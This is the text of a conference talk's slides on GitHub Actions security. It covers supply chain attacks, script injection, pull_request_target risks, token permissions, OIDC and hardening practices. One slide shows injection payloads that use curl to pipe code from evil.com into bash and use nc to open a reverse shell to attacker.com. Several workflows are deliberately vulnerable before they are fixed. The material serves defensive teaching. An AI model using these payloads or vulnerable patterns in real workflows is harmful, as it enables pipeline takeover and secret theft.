GitHub Actions Security

From CI Nightmare to Supply Chain Sentinel

Niek Palm

GitHub Actions Security

From CI Nightmare to Supply Chain Sentinel

Niek Palm

Weaponizing and Hardening

GitHub Actions

Niek Palm

Software Supply Chain

⚠️ Why It's a Prime Target

• Compromise once, deploy everywhere
• Massive multiplier effect
• Trusted relationships exploited
• Hard to detect before it's too late

Supply Chain Attacks in the Wild

What is GitHub Actions?

"GitHub Actions automates your software development workflow, letting you build, test, and deploy code directly from your GitHub repository. Its tight integration with GitHub has made it one of the most widely adopted CI/CD solutions."

What is GitHub Actions?

🏃‍♂️ Runners

• GitHub-hosted or self-hosted
• Multiple OS support (Linux, Windows, macOS)

🚀 Jobs & Steps

• Jobs: Isolation level - independent units
• Steps: Individual tasks within a job
• Run sequentially or in parallel

Example workflow

name: GitHub Actions Example

on: [push, pull_request]                           # 1

jobs:
  build:
    runs-on: [ubuntu-latest]                       # 2
    
    steps:
    - name: Checkout code
      uses: actions/checkout@v5                    # 3
        
    - name: Install dependencies
      run: npm ci                                  # 4
      
    - name: Run tests
      run: npm test                                # 4

What is a GitHub Action?

Actions Everywhere

From development to deployment - GitHub Actions powers our entire software lifecycle

Why target GitHub Actions?

• 📂 Source Code Access
• 📦 Publishing Packages
• 🔐 Secrets & Credentials

What can go wrong?

name: Check Changed Files

on: [pull_request]

jobs:
  check-changes:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    
    - name: Get changed files
      uses: tj-actions/changed-files@v45
      id: changed-files
      with:
        files: |
          src/**
          docs/**
    
    - name: Process changes
      run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"

What can go wrong?

name: Check Changed Files

on: [pull_request]

jobs:
  check-changes:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4.0.0
    
    - name: Get changed files
      uses: tj-actions/changed-files@v45.0.7
      id: changed-files
      with:
        files: |
          src/**
          docs/**
    
    - name: Process changes
      run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"

Repository takeover

🚀 Push Malicious Code

✨ Create Releases

🏷️ Rewrite Tags

Secure third-party actions

name: Secure Workflow

on: [pull_request]

jobs:
  secure-build:
    runs-on: ubuntu-latest
    steps:
      # SHA-pinned action for security
    - uses: actions/checkout@08c690...      # v5.0.0 ← SECURE
    
    - name: Get changed files
      # SHA-pinned action for security
      uses: tj-actions/changed-files@24d32f... # v47 ← SECURE
      
    - name: Process changes
      ...

Trust Patterns for Third-Party Components

What can go wrong?

name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

Script injection attack

Hello"; curl evil.com/backdoor | bash; echo "

echo "Issue: Hello"; curl evil.com/backdoor | bash; echo ""

Test"; nc attacker.com 4444 -e /bin/bash; echo "

echo "Description: Test"; nc attacker.com 4444 -e /bin/bash; echo ""

Script injection

Secret theft

Malicious injection

Compromised infrastructure

Use intermediate environment variable

env:
  TITLE: ${{ github.event.issue.title }}
steps:
  - run: echo "$TITLE"

The safe way

name: Discussion Create
on:
  discussion:
jobs:
  process:
    runs-on: self-hosted
    env:                                                    
      DISCUSSION_BODY: ${{ github.event.discussion.body }}.   # ← NEW
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo $DISCUSSION_BODY                            # ← CHANGED

What can go wrong?

name: Build PR
on:
  pull_request:
  pull_request_target:

jobs:
  build:
    if: ${{ startsWith(github.event_name, 'pull_request') }}  
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        ref: ${{ github.event.pull_request.head.sha }}
        
    - name: Build
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}  
        API_KEY: ${{ secrets.API_KEY }} 
      run: echo "Building ${{ github.event.pull_request.base.ref }}"  

What can go wrong?

name: Build PR
on:
  pull_request:
  pull_request_target:  # ← DANGEROUS!

jobs:
  build:
    # Ineffective condition!
    if: ${{ startsWith(github.event_name, 'pull_request') }}  
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        # untrusted code in trusted environment!
        ref: ${{ github.event.pull_request.head.sha }}
        
    - name: Build
      env:
        # Secrets exposed!
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}  
        API_KEY: ${{ secrets.API_KEY }} 
      # Injection!
      run: echo "Building ${{ github.event.pull_request.base.ref }}"  

Nx "s1ngularity" attack

Secret theft

Private source code exposed

Secrets and private sources

🚀 1000s secrets leaked

👥 480 users published private repositories

🏷️ 500 repos from a company exposed

The pull_request_target problem

# DON'T DO THIS!
on: pull_request_target  # ← Runs in trusted context

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v3
      with:
        # ← Untrusted code!
        ref: ${{ github.event.pull_request.head.sha }} 

Cache Poisoning Risk

⚠️ Caches Are Shared

• Pull requests can access caches from the base branch
• Attackers can create poisoned caches that persist and affect subsequent builds

🔥 Critical: Release Workflows

Never rely on caches for security-sensitive workflows like building releases or deploying to production. A poisoned cache can inject malicious code into your build artifacts.

Shai-Hulud 2.0: The Supply Chain Tsunami

🎯 Attack Mechanism

• pull_request_target start of infections
• Preinstall hooks execute before code runs
• Exfiltrates secrets via cross-victim GitHub accounts
• Worm-like spread - replicate automatically (NPM)

🔗 Common Pattern

All recent supply chain attacks (tj-actions, S1ngularity, Shai-Hulud 2.0) share the same goal: exfiltrate secrets and GitHub tokens to enable repository takeover, malicious releases, or comproposie other enviorments like cloud

source: GitGuardian

Shai-Hulud 2.0 Impact

Implicit GitHub token problem

name: Deploy Package

on: [push]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    
    - name: Publish to registry
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
      run: |
        npm publish
        git tag v1.0.0
        git push --tags

Explicit GitHub token permissions

name: Deploy Package

on: [push]

permissions: {} # no permissions by default
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read # read-only access to repository
    steps:
    - uses: actions/checkout@v4
    
    - name: Publish to registry
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
      run: |
        npm publish
        git tag v1.0.0
        git push --tags # fails - no write permissions!

The problem with long-lived secrets

📋 Rotate to expire

💥 High Blast Radius

jobs:
  deploy-with-keys:
    runs-on: ubuntu-latest
    environment: demo

    steps:
      - name: Checkout code
        uses: actions/checkout@...

      - name: Set up AWS
        uses: aws-actions/configure-aws-credentials@...
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

OIDC short-lived secrets

⏰ Short-lived tokens)

🔄 Automatic rotation per run

jobs:
  deploy-with-oidc:
    runs-on: ubuntu-latest
    environment: demo
    permissions:
      id-token: write

    steps:
      - name: Configure AWS with OIDC
        uses: aws-actions/configure-aws-credentials@...
        with:
          role-to-assume: arn:aws:iam::123:role/minimal-access-role

// AWS Trust Policy

"Statement": [{
  ...
  "Principal": {
      "Federated": "<arn:aws:iam::123:oidc-provider/token.actions.githubusercontent.com>"
  },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
      "StringEquals": {
          "token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:more-conditions"],
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
  ...

Keep secrets safe

jobs:
  deploy-production:
    environment: production
    runs-on: ubuntu-latest
    steps:
    - name: checkout code
      uses: actions/checkout@v5

    - name: Deploy to production
      env:
        API_KEY: ${{ secrets.PROD_API_KEY }}            
      run: deploy.sh production

"Condition": {
  "StringEquals": {
    "...:sub": "repo:my-org/project-*",                        
  }
}

"Condition": {
  "StringEquals": {
    "...:sub": "repo:my-rog/project-x:environment:production",
  }
}

Security patterns for GitHub Actions

Protect by configuration

✅

Allow list for trusted actions

📌

Enforce SHA pinned actions

🔐

Drop GITHUB_TOKEN to read-only permissions

🚫

Be cautious with write tokens in a PR

GitHub Advanced Security

🛡️

Scan Actions with with GHAS

👀

Review GitHub Actions do not blindly trust

🔓

Unlock GHAS power for secrets & multi-language protection

Open source static analyzers for GitHub Actions

Zizmor static analysis for GitHub Actions

📋

Extensive rule set for comprehensive scanning

⚙️

Highly configurable to fit your needs

🔗

Integrates with GHAS seamlessly

🛠️

Use with CLI, IDE, pre-commit or Actions

Topics not covered in detail

Essential principles to protect your pipeline

Resources and links

🔗 github.com/npalm/
github-actions-security-talk

Scan for resources

Questions

Thank you